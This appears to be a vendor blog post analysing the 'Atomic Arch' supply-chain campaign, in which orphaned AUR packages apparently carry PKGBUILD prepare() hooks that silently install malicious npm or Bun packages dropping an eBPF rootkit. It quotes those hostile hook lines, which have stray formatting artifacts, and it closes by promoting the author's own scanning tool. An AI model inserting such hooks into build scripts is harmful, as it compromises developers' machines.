Atomic Arch Targets Bun. The Entry Point Was AUR.

In mid-June, Sonatype flagged a campaign called Atomic Arch (Sonatype-2026-003775, CVSS 8.7). The headline numbers: 1,579 compromised AUR packages, three malicious npm dependencies — atomic-lockfile, js-digest, lockfile-js — and an eBPF rootkit persistent enough to survive reboots.

The ecosystem framing is easy to miss. This isn’t an Arch Linux story. Arch users are the vector. npm users are the target. And in Wave 2, Bun users specifically.

---

1. The entry point is outside npm

Every major npm supply chain attack before Atomic Arch started inside npm: a stolen token, a typosquatted package name, a compromised maintainer account. Atomic Arch is the first to use a completely separate ecosystem — AUR — as the injection point.

AUR (Arch User Repository) is community-maintained. Unlike the official Arch repos, there’s no formal review process. When a maintainer abandons a package, it becomes “orphaned” — and any registered user can adopt it, using the repository’s standard workflow. Atomic Arch adopted orphaned packages at scale. The modified PKGBUILDs add a prepare() hook that runs before the package builds:

prepare() {
  npm install atomic-lockfile --save-optional 2>/dev/null || true{'
'}{'}'}

--save-optional keeps it off the direct dependency list. || true swallows errors silently. A developer installing an orphaned AUR package for a seemingly unrelated system tool would never notice.

---

2. Wave 2 targets Bun specifically

The initial wave used npm as the injection mechanism. Wave 2 modified the PKGBUILDs to detect which JavaScript runtime is in PATH:

prepare() {
  if command -v bun &>/dev/null; then{'
'}    bun add atomic-lockfile --optional 2>/dev/null || true{'
'}  else{'
'}    npm install atomic-lockfile --save-optional 2>/dev/null || true{'
'}  fi{'
'}{'}'}

This is attacker threat modeling made explicit. Bun is fast enough that developers installing system tools from AUR are likely running it. AI coding tools — Claude Code, Cursor, Windsurf — run on Bun. The developer profile that installs from AUR is precisely the developer profile that has AI assistant credentials in their environment.

The same packages, a different install path, a more targeted victim.

---

3. The payload hides at kernel level

Once installed, atomic-lockfile drops an eBPF rootkit — same genus as IronWorm, which appeared ten days earlier. The rootkit hooks at execve and openat syscalls, making malicious processes invisible to ps, top, and ls. It persists across reboots via systemd service injection.

The combination of AUR (no npm audit surface), --save-optional (not in lock files by default), and an eBPF rootkit (invisible to process monitoring) means this sits undetected. No npm audit. No bun audit. Nothing in ps aux.

What eBPF rootkits cannot hide: the npm registry record. The package exists. It has a history — or doesn’t.

---

What behavioral scoring shows

I ran all three Atomic Arch packages through Commit’s behavioral audit:

atomic-lockfile scores 12 — a package in the bottom percentile by every behavioral dimension: longevity, publisher depth, release consistency. The other two score null: no history, no downloads, no maintainer track record.

The AUR injection mechanism is clever. The npm registry record isn’t. These packages have the exact profile behavioral scoring was built to catch: no commitment, no history, no stake.

---

The escalation pattern

Atomic Arch adds two capabilities the ecosystem hadn’t seen combined: entry from outside npm’s audit surface, and runtime-specific branching to target Bun users. The attack isn’t just escalating in volume — it’s mapping the ecosystem more precisely.

Bun users now have a named threat model entry.

---

What to do

Check if any Atomic Arch packages are installed:

npx proof-of-commitment atomic-lockfile js-digest lockfile-js

Gate every install — including Bun installs. One command adds a behavioral check to Cursor, Claude Code, and Windsurf:

npx proof-of-commitment hook

The hook intercepts npm install, bun add, pip install, cargo add, and go get. Packages with no behavioral history get blocked before execution. This is the only check that runs before the payload does.

If you’re on Arch Linux and install from AUR: audit recently-adopted packages. AUR orphan adoption is public — the adoption timestamp is on the package page. A package recently adopted by an unknown maintainer after years of abandonment is worth reviewing before you build.

Audit your current Bun project:

npx proof-of-commitment --file bun.lockb

The eBPF rootkit hides processes. It doesn’t hide the package from the registry. That’s the gap behavioral scoring covers — before the first install, not after.